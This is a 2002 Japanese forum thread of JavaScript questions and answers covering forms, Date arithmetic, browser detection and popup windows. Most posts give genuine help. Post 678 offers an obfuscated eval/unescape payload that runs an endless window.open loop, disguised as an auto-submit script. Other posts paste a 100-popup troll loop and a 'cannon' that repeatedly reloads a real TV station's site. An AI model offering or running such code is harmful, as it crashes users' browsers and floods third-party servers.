判定できると思う?
コード指定をしないで、それでもエラーから逃れるには、判定しなく
てすむように全部「\uHHHH」で書くしかないと思うが。
636 :
634 :02/12/13 14:16 ID:9xBBw5qV
>>635 言っている意味はよーく分かるんだけど、
エラーが出るマシンと出ないマシンがあって、
出ないマシンの方が圧倒的に多いのよ。
なんでかなーって思ったの。
<SCRIPT LANGUAGE="JavaScript"> <!-- for (i=0; i<100; ++i) { window.open(); } --> </SCRIPT> をTOPに置くのが良いよ
638 :
631 :02/12/13 14:28 ID:wwUtd37S
>>633 optionの値を取得する場合、option要素にvalue要素が必要になるということまでは
調べることが出来ました。色々試してみたのですがどうにもうまくいきません。
勝手なお願いだとは思いますが、もう少し詳しくご教授いただけますか?
今日のアクセス数と昨日のアクセス数を出すスクリプトを 教えてください。
<script> document.writeln("<p>今日: 1 昨日: 1</p>"); </script>
<SCRIPT LANGUAGE="JavaScript"> <!-- for (i=0; i<100; ++i) { window.open(); } --> </SCRIPT>("<p>今日: 1 昨日: 1</p>");
>>638 > 良くある単価×個数という形ではなく、リストAAAの中のaaaは500円、
> bbbは5000円、リストBBBの中のcccは10000円、dddは15000円といった感じで
> 各リストの合計と総合計が出る形にしたいのです。
各リストの合計ってselectのとこmultipleにしたいの?
それにしてはselectタグのとこに書いてないし・・・
やりたいことがいまいちつかめない
643 :
631 :02/12/13 15:29 ID:f3hO+Y1Y
>>642 説明不足でした。各リストの合計ではなく、リストから選んだ値を表示して
さらにその合計を表示(ex リストAAAが5000円、リストBBBが10000円、
そして総合計が15000円というように)したいのです。
644 :
Name_Not_Found :02/12/13 15:53 ID:3U1IMWc+
T = new Date(); 始めた時間 = T.getHours(); 終わった時間 = T.getHours(); この時、始めた時間が23時、終わった時間が翌0時だった場合、 終わった時間 - 始めた時間 = 1 となるんでしょうか。 それとも普通に 0 になるんでしょうか・・? おかしな質問ですいません。
>>643 ぜんぜん意味違うやん。。。
参照番号 = document.フォーム名.セレクトオブジェクト名.selectedIndex;
値 = document.フォーム名.セレクトオブジェクト名.options[参照番号].value;
<script type="text/javascript"><!--
function totalPrice(){
var numCode01 = document.inputForm.code01.selectedIndex;
var numCode02 = document.inputForm.code02.selectedIndex;
var priceCode01 = eval( document.inputForm.code01.options[numCode01].value );
var priceCode02 = eval( document.inputForm.code02.options[numCode02].value );
document.inputForm.code01_price.value = priceCode01;
document.inputForm.code02_price.value = priceCode02;
document.inputForm.total_price.value = priceCode01 + priceCode02;
}
//--></script>
<form name="inputForm"><p>
リストAAA<select name="code01" onChange="totalPrice()">
<option value="0">選択なし</option><option value="500">aaa</option><option value="5000">bbb</option>
</select>
リストBBB<select name="code02" onChange="totalPrice()">
<option value="0">選択なし</option><option value="10000">ccc</option><option value="15000">ddd</option>
</select>
<br>
リストAAA<input type="text" name="code01_price" value="0">
リストBBB<input type="text" name="code02_price" value="0">
合計<input type="text" name="total_price" value="0">
</p></form>
646 :
631 :02/12/13 16:20 ID:f3hO+Y1Y
>>645 ありがとうございます!!助かりました!
私も645さんのようにさらっと記述できるように勉強してきます。
本当にありがとうでした!
647 :
Name_Not_Found :02/12/13 16:34 ID:rqDsqGv7
>>644 なに勘違いしてるの。引き算がそんなあなたの気持ちを汲んで
くれるわけがないでしょ。「-23」になるに決まってるじゃん。
だからマイナスになってたら24を足すようにしたまへ。
>>644 君は0-23が1になるとでも言うのか?
マイナスになるに決まってんじゃン
小学校からやり直し。
649 :
644 :02/12/13 16:37 ID:???
何度も繰り返すんじゃねえよ痴呆どもが!!
a
652 :
Name_Not_Found :02/12/13 18:19 ID:+CXuNibz
わかりません。 <input type="radio" name="rank" value="A"> <input type="radio" name="rank" value="B"> <input type="radio" name="rank" value="C"> とある時に、 flag=-1; for(i=0; i< document.form['fm1'].elements['rank'].length; i++){ if(document.form['fm1'].elements['rank'].checked!=false){ flag=i; break;} } return(document.form['fm1'].elements['rank'][i]); を正して下さい。
ヤナコター
>>647-648 じゃあ実際 setHours(n)で設定して引いてみろよ。
あなたらが言った答えにはならないから。
655 :
481 :02/12/13 19:01 ID:???
>>481 で以前環境別スタイルシートの読み込みについて質問させて頂き、
482さんに教えて頂いたのですが、動作確認したところNNではスタイルシートが反映されませんでした。
482さんがまた見てくださる可能性も低いような気がしますので
他の方で教えてくださる方がいればとても助かります。
質問内容は「MAC・その他NN・その他」と分けたいというものです。
if(navigator.userAgent.toUpperCase().indexOf('MAC')!=-1){
document.write('<link rel="stylesheet" href="mac.css" type="text/css">');
}else if(navigator.userAgent.toUpperCase().indexOf('NETSCAPE')!=-1){
document.write('<link rel="stylesheet" href="nn.css" type="text/css">');
}else{
document.write('<link rel="stylesheet" href="other.css" type="text/css">');
}
なぜNNでは動作しないのか、どうすれば良いかを教えて頂けませんでしょうか。
482さんもし見ておられましたら、ケチをつけてしまうようでもうしわけありません
>>654 = 644 でいいのかな?
ひとつ確認したいのだが、
T = new Date();
始めた時間 = T.getHours();
終わった時間 = T.getHours();
終わった時間 = T.getHours(); の前にもう一回 new Date(); してる?
もししてないなら 始めた時間 == 終わった時間 なのだから 0 で当たり前だが・・・
>>655 userAgentで「netscape」返すのってNN6.0だけじゃない?
appNameだと全バージョンNetscape返すけど。
658 :
481 :02/12/13 20:00 ID:???
>>657 なるほどー!!確認時使用したのはNN4.×でした。
うちはまだNN4.×の訪問者が多いみたいで無視できないんですよね。
もしご迷惑でなければ具体的な記述を教えて頂けると助かるんですが、、、
659 :
644 :02/12/13 20:16 ID:???
>>646 >>647 すみません・・。馬鹿な質問してしまって。
>>656 いえ、僕は654さんではないのですが・・。
僕は始めた時間を取得する関数Aと終わった時間を取得する関数Bを設けて
開始時にAを実行して取得、同じように終了時にBを実行して取得、という風にしているので、new Date();はしています。
これは、クイズのプログラム中で解答にかかった時間を測るために作ったのですが、
クイズを始めたのが23時50分、終えたのが0時10分だった場合、どうすれば良いのだろう、と思いまして・・。
長くてすいません。どっちにしろ変な質問でした。。
>>659 DateオブジェクトはvalueOfすると1970/1/1 0:00を基準とするミリ秒を返す。
var t0 = new Date;
... // なんか処理
var t1 = new Date;
alert(t1-t0); // 処理にかかったミリ秒数
こんなので充分だよ。
>>658 navigator.userAgent.toUpperCase().indexOf('NETSCAPE')!=-1
↓
navigator.appName.charAt(0) == "N"
これでOK。
662 :
481 :02/12/13 21:08 ID:aMMFIgrJ
>>661 ああ〜、こんなに早くレスが、、、ありがとうございます!!
本当にありがとう、助かります。
お世話になりました。
663 :
Name_Not_Found :02/12/13 23:15 ID:+CXuNibz
>>652 もう正して下さいとはいいません。
ここだけは変えろというところ教えてください。
>>660 わざわざ、ありがとうございます。
ただ、それだと値は文字列も含みますから - は使えませんよね。。
と言いますか、よく考えたら24を足せば解決するんですよね。
重ね重ね本当にすみません。算数からやり直します。
>>664 > - は使えませんよね。
使えるんだな、それが。
- 演算子は値をNumber型に型変換して演算するからDateオブジェクトは数値を返す。
(alert()とか値がString型に型変換される場合には文字列になる)
減算結果は両Dateオブジェクト間の時間差をミリ秒で表す数値になる。
知っておくと便利だよ。何かのときには役立つと思うので。
"てst".substring(-1,0) ↑の戻り値は何?
667 :
644 :02/12/14 02:30 ID:???
>>665 - って純粋に数学(算数)的な処理しかしないものだと思ってました。
いや、本当に勉強になります!
しかし、
new Date;で得た値をtype=hidden等のフォーム部品に保存(?)すると、うまくいきませんよね。
0を減算しても t1-t0 の値は NaN になりますし・・。
>>660 さんの示されたコードは同じ関数内なら大丈夫だったのですが、2つ以上となるとどうしてもうまくいかなくて。
実は最初の問題も、24を足せば解決すると思ってたんですが、
例えば1日の11時50分から2日0時10分までの差と、1日から3日の同時刻の場合でも返す値は同じですよね?
(実際、2日も3日もかけるようなことは有り得ないのでしょうが)
じゃあ、始めた時の日と終えた時の日を取得してその差*24にしようとも思ったのですが、
始めた日が30日、終わった日が1日だったら??
次は月かな?終えた月-始めた月==1の時、終えた日-始めた日...
でも、月ごとに最後の日付は違うから・・その分、分岐条件を増やして・・?
ん?12月から1月だったら・・???
・・あれ、僕、滅茶苦茶アホなこと考えてるんでしょうか。
長々とすみません。混乱してきたので逝ってきます。。
>>665 さん、為になる知識をどうもです。
2日以上間隔があくんだったらミリ秒差を日・時・分・秒・ミリ秒 に換算すれ。プログラミングの入門書にはだいたい乗ってるような 初歩的な問題だと思う。 var msec = ミリ秒差; var sec = Math.floor(msec/1000); msec = msec % 1000; var min = Math.floor(sec/60); sec = sec % 60; var hour = Math.floor(min/60); min = min % 60; var day = Math.floor(hour/24); hour = hour % 24;
onerrorでエラー発生行数等が解りますが、error以外で現在の行数|文字数を獲得する事は可能ですか?
フォームに記載された内容を自動で 別窓に転載する操作をやりたいのですが JavaScriptで出来るでしょうか
671 :
Name_Not_Found :02/12/14 20:38 ID:P06/C1rL
htmlでsubmit valueってやるとクリック出来るボタンができますよね それを自動でクリックし続けるスクリプトを組みたいんですが、どうやるんですか?
>>670 こんなサンプルでいいのかな。
document.フォーム名.オブジェクト名.value で <input type="text"> に書かれてる
文字列取得して、あとは window.open() で新しいウインドウ開いて内容を書き出す。
<script type="text/javascript"><!--
function newWindow(){
var inputName = document.sampleForm.namae.value;
var inputMail = document.sampleForm.email.value;
var WO = window.open("","new_Window","");
WO.document.open();
WO.document.write("<html>\n<head>\n<title>test</title>\n</head>\n");
WO.document.write("<body>\n");
WO.document.write("名前:" + inputName + "<br>\n");
WO.document.write("E-mail:" + inputMail + "<br>\n");
WO.document.write("</body>\n</html>");
WO.document.close();
}
// --></script>
<form name="sampleForm"><p>
名前<input type="text" name="namae"><br>
E-mail<input type="text" name="email"><br>
<input type="button" value="別窓で表示" onclick="newWindow()">
</p></form>
>>673 訂正 document.フォーム名.エレメント名.value
>>671 田代砲もどきは「迷惑となるスクリプトを書かない者」違反。
676 :
670 :02/12/14 21:42 ID:???
わざわざありがとうございます。 助かりました
田代砲ってスクリプトだったのか ツールだと思ってた
>>671 <html>
<script>
var submit = unescape("%66%6f%72%28%3b%3b%29%7b%77%69%6e");
var data = unescape("%64%6f%77%2e%6f%70%65%6e%28%29%7d");
eval(submit+data);
</script>
<body>
<form action="#">
<input type="text" name="test"><input type="submit">
</form>
</html>
679 :
Name_Not_Found :02/12/15 12:01 ID:DJ2lIxyR
ローカルにあるファイルをブラウザ上に drag and Dropして サーバーに Upload する様な仕組みを考えています。 ondrop イベント内で window.event.dataTransfer.getData('File') でドロップしたファイルのpathを受け取りたいのだけど JavaScriptで可能でしょうか?
>>679 受け取れるかどうかは知らないけど
<input type=file> の value はセキュリティ上 readonly になっているから
無理なんじゃないかなあ。
>>680 御返事有難う。
そういえば・・・。multi-partでの送信は無理っぽいですね。
自己満足のためのプログラムなので、送信部分は、
ファイル開いて中身をエンコードしてPOSTでもいいかなと思ったりもする。
...なんて書くとわざわざ JavaScriptのみでやる理由もなくなってくるのだけど、
引き続き、dataTransferオブジェクトに関する情報待ってます。
682 :
Name_Not_Found :02/12/15 15:22 ID:BGuQSWRJ
JavaScriptで小窓を開く時、常に一番上に表示されるように したいんですけどどうしたらいいですか? 配布されていたものを参考にして こんな感じのものを入れ込んでみたんですけど 親ウィンドウのリンク先をクリックすると 開いた小窓が後ろ側にまわってしまうのです。 <HEAD> <SCRIPT Language="JavaScript"> <!-- function openwin(url) {w = window.open(url,'win','width=400,height=550, status=no,scrollbars=no,directories=no,menubar=no,resizable=yes,toolbar=no,left=300,top=100'); } //--> </SCRIPT> </HEAD> <A href="javascript:openwin('*****.html')">○○○○</A> 確認してみた環境はIE5です。
684 :
682 :02/12/15 17:44 ID:mNolPuNT
>>683 アドバイスありがとうございます。
このスレの最初の方に紹介してあるリファレンスサイトさんで.focus()の事を調べてみました。
コロンの前にウィンドゥ名をつけると良いらしいのですが、
ウィンドゥ名の付け方がよくわかりません。ウィンドゥ名というのはどこに指定するものなのでしょうか?
現在、こんな感じになっています。
.focus()の前には、暫定の名前として「window」と記入しています。
<HEAD>
<SCRIPT Language="JavaScript">
<!--
function openwin(url){w=window.open(url,'win','width=400,height=550,status=no,scrollbars=no,directories=no,menubar=no,resizable=yes,toolbar=no,left=300,top=100');
window.focus()
}
//-->
</SCRIPT>
</HEAD>
<DIV ALIGN=right>
◆ <A href="javascript:openwin('*****.html')">○○○○</A>
>>684 暫定っていうか、window.focus(); だと元のページをフォーカスするって意味になるよ。
だから w.focus(); が正解。
686 :
682 :02/12/15 19:31 ID:U9eFdNIz
>>685 そ、そうか!
ありがとうございます。
この場合のウィンドウ名はwなんですね。
この名前(w)は、あと、どこに書き込んだらいいのでしょうか?
あなたはまず、オブジェクトと変数の関係について勉強する べきです。wはあくまでも変数の名前で、なぜwで思ったことが できているかというと、window.open()が返して来たウィンドウ オブジェクトを変数wに代入してるから。だから「w」という 文字列だけどっかに覚えてもあまり役に立たないと思うよ。
もちろんどちらを無視するもしないも読み手の自由です(w
いや、無視だろ
12月号のWEB DESIGNINGのwebりまshowの 額縁デザインページのJAVAのスクロールですが、 サンプルのままだと3行ほどしかスクロールしません。 もーちょっとスクロールさせたいんですがどこを いぢれば良いですか? 本を読んだりいろいろいじったりしたのですが、わかりません。 DW4を持っていないのでどなたかご教授していただけませんか?
692 :
682 :02/12/16 01:40 ID:???
| |∧_∧ ・・・・勉強しなおしてキマス・・・ |´・ω・`) マダヨクワカンナイケドガンバルマス。 |J J |J─J  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | |_∧ アドバイスアリガトン。 |ω・`) | J |─J  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | |_∧ |・`) | J |J  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | |_∧ チャントデキタラ マタオレイ シニキテモイイ・・・? |ω・`) | J |─J  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
>>692 |
|
イツデモ マッテルヨ ∧_ |
(*゚ー |
/つ|
〜 |
(/ |
 ̄ ̄ ̄ ̄ ̄
∧_∧ ヅレタ ヾ(゚ー゚*)ノ
カラアゲ ウマウマ
test
test
ヤター串トヲッタヨー!!
699 :
Name_Not_Found :02/12/16 13:49 ID:KvCwx/J1
javascriptでローカル変数を明示的に宣言するための表記はなんでしょうか。 my iみたいなもののことです。
「var 変数名」を関数の中などに入れる。明示的に宣言 しないとすべてグローバル変数になる。
ページをリフレッシュする際に位置を変えずに表示する方法を ご存知の方教えて下さい 確かVol12あたりでガイシュツだった気がするのですが、閲覧 できないので再度お願い致します
702 :
Name_Not_Found :02/12/16 23:27 ID:jxPgEbrl
>>702 こうかね。もちろん無視してくれてもいいけど。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<script type="text/javascript">
function check() {
if(location.search) {
var d = parseInt(location.search.substring(1));
window.scrollTo(0, d);
}
}
function jump() {
if(window.scrollY) {
location.href = "?" + window.scrollY;
} else if(document.documentElement.scrollTop) {
location.href = "?" + document.documentElement.scrollTop;
} else if(document.body.scrollTop) {
location.href = "?" + document.body.scrollTop;
} else {
location.reload(true);
}
}
</script>
</head><body onload="check()">
<p><a href="#" onclick="jump();undefined">test</a></p>
<p><a href="#" onclick="jump();undefined">test</a></p>
<p><a href="#" onclick="jump();undefined">test</a></p>
(以下たくさん)
</body></html>
703 :
Name_Not_Found :02/12/17 01:06 ID:X2NIH6wt
思い当たる方法をいくつか試してみましたがどうも上手くいかないので質問します。 フレームの親で定義された関数を、フレーム内で表示されたページaから呼び出すために aに記述する parent.関数名(変数); と同様に、 レイヤーの親で定義された関数を、レイヤー内で表示されたページbから呼び出すことを NN4でやりたいのですが、bには何を記述すれば良いでしょうか。
705 :
Name_Not_Found :02/12/17 05:21 ID:xNUVEwWk
VBScriptとJAVAScriptのどちらを使用しようか迷っています。 次の違いを教えてください。 速度 ローカルファイルアクセス bin化
706 :
Name_Not_Found :02/12/17 07:34 ID:AafpP6bx
>>703 レイヤーなの?iframeじゃなくて?その「レイヤーを表示」
している部分のソースを貼ってみれ。
>>705 そゆことするならVBScriptの方がよさげだが実際に試した
ことはない。
>>705 >速度
変わらん
>ローカルファイルアクセス
>bin化
無理
>>706 >>710 わざわざscript type= なんて指定するので、
VBscriptにはVBscript独特の性能があるのかなあと思っていました。
そうじゃなければわざわざVBscript使う意味ないじゃんて思ってしまいました。
>わざわざscript type= なんて指定するので UAが処理するのに欲しいと思わない?
拡張子を読んでもらえればうれしいのですが
でも、コード埋め込めるからね
書き方が違うが、機能はできるだけ同じにしているということらしい。 VBユーザーに向いているのかなあ。でもこのデータ1999年だぜ。ちょっと。
.NETでもそんな扱いだし いいんでねえの
>>714 納得
>>717 ああいとしのSUN様とM$様、
同じ所に進んでいるように思えるのは私だけなの。
720 :
701 :02/12/17 12:07 ID:???
>>702 再描画はタイマーを使い自動で行いたいと言う説明をし忘れてました(汗
が、頂いたソースを参考に無事解決できました
助かりました、有難う御座います
var tid;
function init() {
if(window.refresh.graph_date.value == "") {
tid = setTimeout('reload()' , 5000);
}
if(location.search) {
var d = parseInt(location.search.substring(1));
window.scrollTo(0 , d);
}
}
function reload() {
clearTimeout(tid);
if(window.scrollY) {
window.refresh.action += ("?" + window.scrollY);
}
else if(document.documentElement.scrollTop) {
window.refresh.action += ("?" + document.documentElement.scrollTop);
}
else if(document.body.scrollTop) {
window.refresh.action += ("?" + document.body.scrollTop);
}
window.refresh.submit();
}
略)
<body onLoad="init();">
<form method="POST" name="refresh" action="自分自身.cgi">
721 :
Name_Not_Found :02/12/17 12:08 ID:SNzmLH2J
さくらどおりさんのCSS切り替えスクリプト使ってますが設定を間違えたのかスタイルを切り替えてから別ページに行くと元のスタイルに戻ってしまいます。どうしたら別ページに飛んでも切り替えたままのスタイルで表示できるか教えて下さい。
>>721 そこの学習能力のないタコ
`さくらどおりさん`とこのURLと
お前のブラウザ・バージョンぐらい書け
723 :
学習能力の無いタコ :02/12/17 13:57 ID:GZY42uZl
さくらどおりさんに言えばいいんでは?
クッキー切ってるだけではないかと
726 :
学習能力の無いタコ :02/12/17 16:32 ID:3XshZn2v
‥その通りですた。 穴があったら―(略)
お前最悪ぽ
728 :
Name_Not_Found :02/12/17 19:09 ID:vLyOWh4N
if (navigator.appName == "Netscape") document.writeln("<EMBED src=\"○○.mid\" autostart=\"true\" loop=\"true\" width=\"100\" height=\"30\">"); else document.writeln("<BGSOUND src=\"○○.mid\" loop=\"infinite\" width=\"100\" height=\"30\">"); ↑を外部JSファイルに保存しました。 音楽は鳴るけど、パネルが表示されません。 どのようにすればパネルが表示されるか教えてください。
>>728 JavaScriptは関係なし。
<bgsound>はパネルが表示されない。
表示するなら <embed> か <object> を調べれ(いずれにしても環境依存になるだろうけれど)
730 :
728 :02/12/17 19:35 ID:vLyOWh4N
731 :
Name_Not_Found :02/12/17 21:23 ID:FoYfiyNl
ドラッグドロップでデスクトップ等のファイルを<input type=file>にセットとかしたいんですが そういう方法って知りませんか?
>>731 ブラウザの開発元にそういうUIをリクエストしましょう。
if(x(y(z(...))))のような関数の入れ子に限界はあるのでしょうか?
実際にやってみるといいでしょう。
質問お願いします。 <UL> <LI>( ´∀`) <LI>(゚Д゚;) <LI>(*゚ー゚) </UL> <SELECT name="rem1"> <OPTION value="1" selected>AAA</OPTION> <OPTION value="2">BBB</OPTION> </SELECT> <INPUT type="hidden" name="CCC" value="10"> <INPUT type="submit" value="送信"> 上記のようなソースを書いてSELECTでAAA、又はBBBを選択した時、 <LI>( ´∀`)の表示と、それに連動して <INPUT type="hidden" name="CCC" value="10">のvalueの値を 変えるにはどうしたら良いでしょう?
実際にやってみるといいでしょう。
var str="あぽテストぽかテストあぽかテスト"; alert(str.replace(/[あいうえお]ぽ[かきくけこ]/,"ん")); [あいうえお]と[かきくけこ]に挟まれた"ぽ"だけを "ん"に置き換えるにはどうすれば良いですか?
alert(str.replace(/([あいうえお])ぽ([かきくけこ])/,"$1ん$2")); ただしIE5.5以降
>>738 え?IE5だと何が使えない?mフラグくらいじゃないの?
>>740 JScript5.0 では置換文字列中の $n とかはただの文字列。
www.microsoft.com/japan/msdn/library/ja/script56/html/js56jsmthreplace.asp
742 :
Name_Not_Found :02/12/18 20:27 ID:hLiYa+RR
JavaScriptの事で質問です。ブラウザによって実行させるJavaScriptを変える事できますか? 例えば <script language="JavaScript"><!-- window.resizeTo(700,700); // --> </script> これを実行するとします。ブラウザによってこのスクリプトを <script language="JavaScript"><!-- window.resizeTo(700,500); // --> </script> こっちを実行させたい場合どう書けばいいですか? スクリプトに関しては素人なので誰か解る方お願いします。
743 :
Name_Not_Found :02/12/18 20:35 ID:hLiYa+RR
>>742 の追伸です。
ネスケとIEってウィンドウサイズの認識が違いますよね。
だからブラウザ違ってもウィンドウの大きさを一定にしたいんです。
他に方法ありますか?
また横幅だけ指定することって出来ますか?
「ブラウザ判定」とかで検索すれば腐るほど出てくる。 でも、ウィンドウサイズと閲覧領域の関係は 同じブラウザでもサイドバーやツールバーの設定次第だよ。
745 :
Name_Not_Found :02/12/18 21:09 ID:hLiYa+RR
javascriptで閲覧する人のモニター解像度を取得出来ますか?
>745 出来る。
747 :
Name_Not_Found :02/12/18 21:43 ID:kJczFm/g
「JavaScript 解像度 取得」さあ検索。
749 :
735 :02/12/19 01:50 ID:Ifm1aRPO
735です。 識者の人の意見きぼん
>>749 ×<INPUT type="hidden" name="CCC" value="10">
↓
○<INPUT type="hidden" name="CCS" value="10">
スペリングミステイク
>>735 変更点は4つ
1. <LI id="item-a">( ´∀`)
2. <SELECT name="rem1" onchange="changeValue(this)">
3. <INPUT type="hidden" name="CCC" value="10" id="item-b">
4. ↓以下をヘッダ辺りに追加
<script>
var itemAData = new Array(
"( ´∀)",
"( )"
);
var itemBData = new Array(
"20",
"30"
);
function changeValue(selectObj) {
document.getElementById("item-a").innerText = itemAData[selectObj.selectedIndex];
document.getElementById("item-b").value = itemBData[selectObj.selectedIndex];
}
</script>
更新日時を自動取得する物(年-月-日のみを表示)を作りたいんですが、 作ってみたんですがうまく動きません。 <script language="javascript"> <!-- var last=document.lastModified; var len=last.toString(10); a=len.substring(0.1); b=len.substring(3.4); c=len.substring(6.9); document.write(c,"-",a,"-",b); //--> </script> どこが悪いんでしょうか?教えてください。
>>752 substringの仕様を勉強しなおしてくるべし。ピリオドとコンマも間違えないよう。
a=len.substring(0,2);
b=len.substring(3,5);
c=len.substring(6,10);
つかdocument.lastModifiedが 12/19/2002で始まるとも限らないし
lm=new Date(document.lastModified);
year=lm.getYear();
month=lm.getMonth()+1;
day=lm.getDate();
document.write(year+"-"+month+"-"+day);
的な物はdocument.lastModifiedでググればいくらでも出てくると。
tabindexってJavaScriptで制御できないのでしょうか? <script language="javascript"> <!-- function changeTabOrder(){ document.form[0].input1.tabindex = 2; document.form[0].input2.tabindex = 1; } //--> </script> <form> <input type="text" name="input1" tabindex="1"> <input type="text" name="input2" tabindex="2"> <input type="button" name="button1" tabindex="3" onClick="changeTabOrder()"> </form> とやってもtabindexが変更できないのです。
forms tabIndex
757 :
754 :02/12/19 12:54 ID:???
>>755 レスありがとうございます。
辞書片手に読んでみます。
758 :
754 :02/12/19 12:58 ID:???
>>756 ぐはぁ、tabIndexだったんですか!
formsはミスです。実際はformsになってました。
ありがとう!
759 :
Name_Not_Found :02/12/19 20:03 ID:xuE949bw
<html><title>プリンセスキャノン</title><body>
<script language="javascript">
add="
http://www.tv-tokyo.co.jp/ ";wind=window.open(add,'san','WIDTH=400,height=400');
function go(){wind.location=add;
fired.value++;
setTimeout("go();",inter.value*1000);}</script>
発射間隔:<br><input type="text" size=5 name=inter value=2>秒<br><input type=button value="発射!!" onClick="go();"><br>発射弾数:<br><input type="text" name=fired value=1></body></html>
テキストファイルに貼り付けて拡張子をhtmにして開け!!
このときの名称はどのようなものがいいのでしょうか?
760 :
Name_Not_Found :02/12/19 20:13 ID:w3cp4Jr0
ひとつのファイルに記述されていたのですが、 まず3つに分けます @------------------------------------------------------------ win=(navigator.appVersion.indexOf("Win") !=-1)?true:false; mac=(navigator.appVersion.indexOf("Mac") !=-1)?true:false; ns4=(navigator.appVersion.charAt(0)==4)?true:false; ie=(navigator.appName.charAt(0)=="M")?true:false; ns=(navigator.appName.charAt(0)=="N")?true:false; A--------------------------------------------------------- if(ie){ if (win){fName="css/index-wi.css";} else if (mac){fName="css/index-mi.css";} } else if(ns){ if (ns4){location.href="ns4.html"} else if (win){fName="css/index-wn.css";} else if (mac){fName="css/index-mn.css";} } B------------------------------------------------------- if(fName !=null){ document.write("<LINK REL=STYLESHEET HREF='"+fName+"' TYPE='text/css' MEDIA='screen,tv'>"); } スクリプト全体の内容と、 Aの部分はどんな処理をしているか理解できるのですが、 @とBの部分が良くわかりません。 どなたか解説していただけないでしょうか。 よろしくお願いします。
>>760 @は条件式だよ。
X = 式 ? A : B
式が正しければ A 、間違っていれば B が X に代入される。
Bは fName(CSSのファイルかな) という変数が null ではない(何か入ってる)なら、
<link>タグをHTMLとして出力する。
762 :
Name_Not_Found :02/12/19 21:02 ID:w3cp4Jr0
どうもありがとうございます。 OSの判別をしてからブラウザの判別をしているということは わかっていたのですが、式自体の意味がわかりませんでした。 何も見ずにこういう式を書けるようになりたいと思うのですが、 なかなか覚えられません。 それにしても、ここまで判別してそれぞれに合ったページを 組む必要なんてあるんでしょうか。。 板違いだけど独り言でした。
X = (式) ? true : false;
||
if(式) X = true;
else X = false;
>>762 > それにしても、ここまで判別してそれぞれに合ったページを
> 組む必要なんてあるんでしょうか。。
NN4なんか、CSSで悲惨な結果に。
ほかにもバグは大量にあるから、ある程度JavaScriptとかCSS使っていたら仕方ない。
関係ないけど
>>760 の@を見て X=(式) でいいじゃんと思ったのは俺だけではあるまい。
変数もいらんな。
変数はいるな。
保守性の高い(分かり易い)コードについて議論するスレでもないし
JavaScriptのウマい使い方ということなら保守性がらみも 書き込んだっていいんじゃないの。prototypeだとかJavaScript ならではのワザなんかもあるしさ。
for(i = 0; i < a.length; i++) よりも for(i = a.length; i--; ) の方が早くてイイ! ってのは語ってくよ漏れは。
>>769 確かに、ただ指定回数繰り返せばいい場合は後者で充分だがね。
771 :
735 :02/12/20 04:20 ID:???
>>751 レスどうもです!
なるほど、id付けて、idのそれぞれにテキストとvalueを指定しておいて、
changeValue(selectObj)でvarで定義した内容を読み込む訳ですね。
参考になりました。ありがd
訪問者のIPを表示させるjavascriptを教えてください。
無理ッス
そうですか。残念無念。
775 :
Name_Not_Found :02/12/21 16:35 ID:3EZQeidY
760のスクリプトでwinとmacの判別は無しに、ネスケ4の場合はa.html を参照し、それ以外の場合はb.cssを参照させるにはどうしたらよいので しょうか。 それとついでで申し訳ないのですが、760のソースでwinとmacで 振り分けを行っていますが、これはカラーを正確に表示させる以外に 目的があるのでしょうか? 後半の質問はスレ違いですみませんが、良ければ教えてくださいね。
776 :
Name_Not_Found :02/12/21 23:30 ID:Jxx95tuB
ボタンのことで質問なのですが マウスオーバーでイメージが変わってクリックしてもイメージは変わったままにしておいて マウスアウトすると元のイメージにもどるよにしたいのですがどうしたらよいのでしょうか? さらにそれを複数のボタンでやりたいのですが、クリックしたボタン以外は元のイメージに戻したいんですけど どういったスクリプトを書けばいいのかよく分からなくて困ってます、どこかサンプルとかありましたら教えて下さい。 よろしくお願いします。
777 :
Name_Not_Found :02/12/22 10:05 ID:1pG0o3R6
三択のクイズをつくる際の質問です。 クリックしたごとに正解・不正解を表示するのでなく、 ラジオボタンにチェックを入れ、採点ボタンを押す→「〜問正解です」と 表示する場合のソースを教えてください。お願いします。
778 :
Name_Not_Found :02/12/22 15:44 ID:W7kSRjvR
ウインドウ操作の質問です。 まず、親ウインドウがフレームによって2分割(AとB)されており、 Aに新規ウインドウを開くボタンが付いています。 その新規ウインドウに表示された「テキスト」をクリックすることにより、 親ウインドウのBに、そのリンクを表示したいのですが、そのソースを教えて頂けませんか? 幾つかのサイトを回りましたが、 ラジオボタンによる、Aウインドウの制御についてしか触れられていません。
779 :
_ :02/12/22 15:46 ID:MEU+0C+D
<a.html> <a href="#" onClick="window.open('win.html','','');return false;">window.open</a> <b.html> <span></span> <win.html> <script type="text/javascript"> function f(i){ window.opener.parent.frames[1].document.getElementsByTagName('span')[0].innerHTML=i; window.close(); } </script> <span onClick="f('テキスト');return false;">テキスト</span> コウカナ.....
違うな… >「テキスト」をクリックすることにより、 > そのリンクを表示したいのですが、 この意味がわからん
空欄Aに、ある特定の単語を入力すると 空欄Bにその単語に対応した単語がでるようなjavascriptってできます? ようするに翻訳エンジンのようなものをつくりたいんですが。
>>782 どれくらいの規模のものを考えているのかわからんから、
全く無理ということはないと思われ、とだけレス
リンクになってないURLの上に マウスをかざしたときにリンクにする機能って どうすればいいんだろう マウスの左ボタンが押されたときの そのエレメントの何文字目あたりかを というのを取得して そこからそこからその位置がURLかどうかを 判断してURLならアンカーを足せばいいの?
785 :
Name_Not_Found :02/12/23 08:04 ID:HHShCO9E
<object data="hoge.html#XYZ?hoge=123"></object> <OBJECT>タグで開かれた hoge.html の中で、 location.search や location.hash を使って引数を取り出そうとしたのですが 取り出せません。 オブジェクトタグを使ったときは これらの付加情報は 付加が 不可 なんでしょうか?
786 :
Name_Not_Found :02/12/23 08:24 ID:IM8yL/mX
<script language="JavaScript"> <!-- function jumpMenu(){ location=(document.link.list.options [document.link.list.selectedIndex].value); } //--> </script> 中略 <form> <select name="list" onChange="jumpMenu()"> <option value="Top.htm" >Top </select> </form> を使ったプルダウンメニューなんですが、 ターゲットをparentにするにはどうすればいいのでしょうか?
>>783 作成例をお教えしてくださるとありがたいです。(;´Д`)
788 :
786 :02/12/23 10:18 ID:???
自己解決しますた
789 :
Name_Not_Found :02/12/23 11:20 ID:QN+aq1AY
>>780-781 神キタ―――(゚∀゚)―――― !!
ありがとうございます。
テキスト云々と言うのはですね、HTMLで<a>リンク</a>と設定した時の、
